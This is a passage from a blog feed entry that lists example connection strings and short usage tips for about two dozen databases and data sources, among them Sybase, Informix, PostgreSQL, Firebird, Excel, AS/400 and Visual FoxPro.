style="font-family:trebuchet ms;"&gt;Read more in the ASA User Guide (part 1, chapter 2) &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Adaptive Server Enterprise (ASE) with Data Source .IDS file:&lt;br /&gt;&lt;/strong&gt;"Provider=Sybase ASE OLE DB Provider; Data source=myASE"&lt;br /&gt;&lt;br /&gt;Note that you must create a Data Source .IDS file using&lt;br /&gt;the Sybase Data Advministrator. These .IDS files resemble ODBC DSNs. &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Adaptive Server Enterprise (ASE):&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;"Provider=Sybase.ASEOLEDBProvider;Srvr=myASEserver,5000;&lt;br /&gt;Catalog=myDBname;User Id=username;Password=password"&lt;br /&gt;&lt;br /&gt;- some reports on problem using the above one, try the following as an alternative -&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;"Provider=Sybase.ASEOLEDBProvider;&lt;br /&gt;Server Name=myASEserver,5000;Initial Catalog=myDBname;&lt;br /&gt;User Id=username;Password=password"&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;This one works only from Open Client 12.5 where the server port number feature works,&lt;br /&gt;allowing fully qualified connection strings to be used without&lt;br /&gt;defining any .IDS Data Source files.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;AseConnection (.NET)&lt;br /&gt;&lt;/span&gt;Standard: &lt;/strong&gt;&lt;br /&gt;"Data Source='myASEserver';Port=5000;Database='myDBname';&lt;br /&gt;UID='username';PWD='password';"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Declare the AseConnection:&lt;br /&gt;C#:&lt;br /&gt;&lt;/strong&gt;using Sybase.Data.AseClient;&lt;br /&gt;AseConnection oCon = new AseConnection();&lt;br /&gt;oCon.ConnectionString="my connection string";&lt;br /&gt;oCon.Open();&lt;br /&gt;&lt;br /&gt;VB.NET:&lt;br /&gt;Imports System.Data.AseClientDim oCon As AseConnection = New AseConnection()oCon.ConnectionString="my connection string"oCon.Open()&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;9.Informix &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;br /&gt;Informix 3.30:&lt;br /&gt;&lt;/strong&gt;"Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=hostname;&lt;br /&gt;Server=myserver;Service=service-name;Protocol=olsoctcp;&lt;br /&gt;Database=mydb;UID=username;PWD=myPwd&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Informix-CLI 2.5:&lt;br /&gt;&lt;/strong&gt;"Driver={Informix-CLI 2.5 (32 Bit)};Server=myserver;&lt;br /&gt;Database=mydb;Uid=username;Pwd=myPwd" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;strong&gt;OLE DB&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;IBM Informix OLE DB Provider:&lt;/strong&gt;&lt;br /&gt;"Provider=Ifxoledbc.2;password=myPw;User ID=myUser;Data &lt;/span&gt;&lt;a href="mailto:Source=dbName@serverName"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Source=dbName@serverName&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;;&lt;br /&gt;Persist Security Info=true"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;10. Ingres&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;DSN-less:&lt;/strong&gt;&lt;br /&gt;"Provider=MSDASQL.1;DRIVER=Ingres;SRVR=xxxxx;&lt;br /&gt;DB=xxxxx;Persist Security Info=False;uid=xxxx;&lt;br /&gt;pwd=xxxxx;SELECTLOOPS=N;&lt;br /&gt;Extended Properties=""SERVER=xxxxx;&lt;br /&gt;DATABASE=xxxxx;SERVERTYPE=INGRES"""&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span style="font-family:trebuchet ms;"&gt;Important note! The two double quota ("") in the string are&lt;br /&gt;escaped quotas (VB syntax), you may have to change this to your&lt;br /&gt;language specific escape syntax (ex. \") or maybe single quota (').&lt;/span&gt;&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-family:trebuchet ms;"&gt;11. Mimer SQL&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/span&gt;&lt;strong&gt;&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Standard Security:&lt;/strong&gt;&lt;br /&gt;"Driver={MIMER};Database=mydb;Uid=myuser;Pwd=mypw;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Prompt for username and password:&lt;/strong&gt;&lt;br /&gt;"Driver={MIMER};Database=mydb;" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;12. Lightbase&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Standard&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"user=USERLOGIN;password=PASSWORD;UDB=USERBASE;&lt;br /&gt;server=SERVERNAME"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;13.PostgreSQL &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Core Labs PostgreSQLDirect (.NET)&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"User ID=root; Password=pwd; Host=localhost; Port=5432;&lt;br /&gt;Database=testdb;Pooling=true;&lt;br /&gt;Min Pool Size=0; Max Pool Size=100; Connection Lifetime=0"&lt;br /&gt;&lt;br /&gt;Read more at &lt;/span&gt;&lt;a href="http://www.crlab.com/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Core Lab&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and the &lt;/span&gt;&lt;a href="http://www.crlab.com/pgsqlnet/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;product page&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;PostgreSQL driver&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"DRIVER={PostgreSQL};SERVER=ipaddress;port=5432;&lt;br /&gt;DATABASE=dbname;UID=username;PWD=password;"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Npgsql by pgFoundry (.NET)&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;SSL activated:&lt;/strong&gt;&lt;br /&gt;"Server=127.0.0.1;Port=5432;Userid=myuserid;&lt;br /&gt;password=mypw;Protocol=3;SSL=true;&lt;br /&gt;Pooling=true;MinPoolSize=3;MaxPoolSize=20;&lt;br /&gt;Encoding=UNICODE;Timeout=20;SslMode=Require"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Without SSL:&lt;/strong&gt;&lt;br /&gt;"Server=127.0.0.1;Port=5432;Userid=myuserid;&lt;br /&gt;password=mypw;&lt;br /&gt;Protocol=3;SSL=false;&lt;br /&gt;Pooling=true;MinPoolSize=1;MaxPoolSize=20;&lt;br /&gt;Encoding=UNICODE;Timeout=15;SslMode=Disable"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;14. Paradox&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;5.X:&lt;/strong&gt;&lt;br /&gt;Driver={Microsoft Paradox Driver (*.db )};DriverID=538;Fil=Paradox 5.X;DefaultDir=c:\pathToDb\;Dbq=c:\pathToDb\;&lt;br /&gt;CollatingSequence=ASCII"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;7.X:&lt;/strong&gt;&lt;br /&gt;"Provider=MSDASQL.1;Persist Security Info=False;Mode=Read;Extended Properties='DSN=Paradox;DBQ=C:\myDb;&lt;br /&gt;DefaultDir=C:\myDb;DriverId=538;FIL=Paradox 7.X;&lt;br /&gt;MaxBufferSize=2048;PageTimeout=600;';Initial Catalog=C:\myDb"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OleDbConnection (.NET)&lt;br /&gt;&lt;/span&gt;Standard&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\myDb;&lt;br /&gt;Extended Properties=Paradox 5.x;" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;15. DSN &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;DSN:&lt;br /&gt;&lt;/strong&gt;"DSN=myDsn;Uid=username;Pwd=;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;File DSN:&lt;br /&gt;&lt;/strong&gt;"FILEDSN=c:\myData.dsn;Uid=username;Pwd=;"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;16. Firebird &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC - IBPhoenix Open Source&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"DRIVER=Firebird/InterBase(r) driver;UID=SYSDBA;&lt;br /&gt;PWD=masterkey;&lt;br /&gt;DBNAME=D:\FIREBIRD\examples\TEST.FDB"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.ibphoenix.com/main.nfs?a=ibphoenix&amp;amp;page=ibp_60_odbc"&gt;&lt;span style="font-family:trebuchet ms;"&gt;IBPhoenix ODBC; More info, download etc &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;.NET - Firebird .Net Data Provider&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"User=SYSDBA;Password=masterkey;&lt;br /&gt;Database=SampleDatabase.fdb;&lt;br /&gt;DataSource=localhost;&lt;br /&gt;Port=3050;Dialect=3;Charset=NONE;Role=;&lt;br /&gt;Connection lifetime=15;Pooling=true;MinPoolSize=0;&lt;br /&gt;MaxPoolSize=50;Packet Size=8192;ServerType=0" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;17. Excel &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Excel Driver (*.xls)};DriverId=790;&lt;br /&gt;Dbq=C:\MyExcel.xls;DefaultDir=c:\mypath;"&lt;br /&gt;&lt;br /&gt;TIP! SQL syntax: "SELECT * FROM [sheet1$]" - i.e. worksheet name followed by a "$"&lt;br /&gt;and wrapped in "[" "]" brackets.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\MyExcel.xls;Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1"""&lt;br /&gt;&lt;br /&gt;"HDR=Yes;" indicates that the first row contains columnnames, not data&lt;br /&gt;&lt;br /&gt;"IMEX=1;" tells the driver to always read "intermixed"&lt;br /&gt;data columns as text. Note that this option might affect excel sheet write access negative.&lt;br /&gt;&lt;br /&gt;TIP! SQL syntax: "SELECT * FROM [sheet1$]" -&lt;br /&gt;i.e. worksheet name followed by a "$" and wrapped in "[" "]" brackets.&lt;br /&gt;&lt;br /&gt;TIP! Check out the [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines\Excel]&lt;br /&gt;located registry REG_DWORD "TypeGuessRows". That's the key to n&lt;br /&gt;ot letting Excel use only the first 8 rows to guess the columns data type.&lt;br /&gt;Set this value to 0 to scan all rows. This might hurt performance.&lt;br /&gt;&lt;br /&gt;Important note! The two double quota ("") in the string are escaped quotas (VB syntax),&lt;br /&gt;you may have to change this to your language specific escape syntax (ex. \") or&lt;br /&gt;maybe single quota (').&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;18. Text &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Text Driver (*.txt; *.csv)};&lt;br /&gt;Dbq=c:\txtFilesFolder\;Extensions=asc,csv,tab,txt;"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\txtFilesFolder\;Extended Properties=""text;HDR=Yes;FMT=Delimited"""&lt;br /&gt;&lt;br /&gt;"HDR=Yes;" indicates that the first row contains columnnames, not data&lt;br /&gt;&lt;br /&gt;Important note! The two double quota ("") in the string are escaped quotas (VB syntax),&lt;br /&gt;you may have to change this to your language specific escape syntax (ex. \") or maybe single quota (').&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;19. DBF / FoxPro&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;standard:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c:\mydbpath;"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;br /&gt;&lt;/span&gt;standard:&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\folder;&lt;br /&gt;Extended Properties=dBASE IV;User ID=Admin;Password="&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;20. AS/400 (iSeries)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;IBM Client Access OLE DB provider:&lt;/strong&gt;&lt;br /&gt;"PROVIDER=IBMDA400; DATA SOURCE=MY_SYSTEM_NAME;&lt;br /&gt;USER ID=myUserName;PASSWORD=myPwd"&lt;br /&gt;&lt;br /&gt;Where MY_SYSTEM_NAME is the name given to the system&lt;br /&gt;connection in OperationsNavigator&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IBM Client Access OLE DB provider:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;"PROVIDER=IBMDA400; DATA SOURCE=MY_SYSTEM_NAME;USER ID=myUserName;PASSWORD=myPwd;DEFAULT COLLECTION=MY_LIBRARY;"&lt;br /&gt;&lt;br /&gt;Where MY_SYSTEM_NAME is the name given to the System Connection,&lt;br /&gt;and MY_LIBRARY is the name given to the library in iSeries Navigator.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;IBM Client Access ODBC driver:&lt;/strong&gt;&lt;br /&gt;"Driver={Client Access ODBC Driver (32-bit)};System=my_system_name;&lt;br /&gt;Uid=myUserName;Pwd=myPwd" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;21. Exchange&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB&lt;br /&gt;&lt;/span&gt;Exchange OLE DB provider:&lt;/strong&gt;&lt;br /&gt;"ExOLEDB.DataSource"&lt;br /&gt;&lt;br /&gt;Specify store in the connection open command like this:&lt;br /&gt;conn.open &lt;/span&gt;&lt;a href="http://servername/mypublicstore"&gt;&lt;span style="font-family:trebuchet ms;"&gt;http://servername/mypublicstore&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;22. Visual FoxPro&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;br /&gt;&lt;/span&gt;Database container (.DBC):&lt;/strong&gt;&lt;br /&gt;"Provider=vfpoledb.1;Data Source=C:\MyDbFolder\MyDbContainer.dbc;&lt;br /&gt;Collating Sequence=machine"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Free table directory:&lt;/strong&gt;&lt;br /&gt;"Provider=vfpoledb.1;Data Source=C:\MyDataDirectory\;Collating Sequence=general"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Force the provider to use an ODBC DSN:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;"Provider=vfpoledb.1;DSN=MyDSN"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/fox7help/html/dggrfOLEDBProviderforVisualFoxPro.asp"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Read more (Microsoft msdn) &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;Database container (.DBC):&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Visual FoxPro Driver};SourceType=DBC;&lt;br /&gt;SourceDB=c:\myvfpdb.dbc;Exclusive=No;&lt;br /&gt;NULL=NO;&lt;br /&gt;Collate=Machine;BACKGROUNDFETCH=NO;DELETED=NO"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Free Table directory:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Visual FoxPro Driver};&lt;br /&gt;SourceType=DBF;SourceDB=c:\myvfpdbfolder;Exclusive=No;&lt;br /&gt;Collate=Machine;&lt;br /&gt;NULL=NO; DELETED=NO;BACKGROUNDFETCH=NO"&lt;br /&gt;&lt;br /&gt;"Collate=Machine" is the default setting, for other settings check the&lt;br /&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/odbc/htm/lr30b_11.asp"&gt;&lt;span style="font-family:trebuchet ms;"&gt;list of supported collating sequences &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;Microsoft Visual Foxpro site: &lt;/span&gt;&lt;a href="http://msdn.microsoft.com/vfoxpro"&gt;&lt;span style="font-family:trebuchet ms;"&gt;http://msdn.microsoft.com/vfoxpro&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;23 Pervasive&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Driver={Pervasive ODBC Client Interface};ServerName=srvname;dbq=@dbname"&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.pervasive.com/library/index.asp?_portal=ODBC"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Pervasive ODBC info &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Provider=PervasiveOLEDB;Data Source=C:\path"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);font-family:trebuchet ms;" &gt;24. UDL &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;UDL&lt;br /&gt;&lt;/span&gt;UDL:&lt;/strong&gt;&lt;br /&gt;"File Name=c:\myDataLink.udl;"&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5227012668171550797?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5227012668171550797/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5227012668171550797' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5227012668171550797'/><link 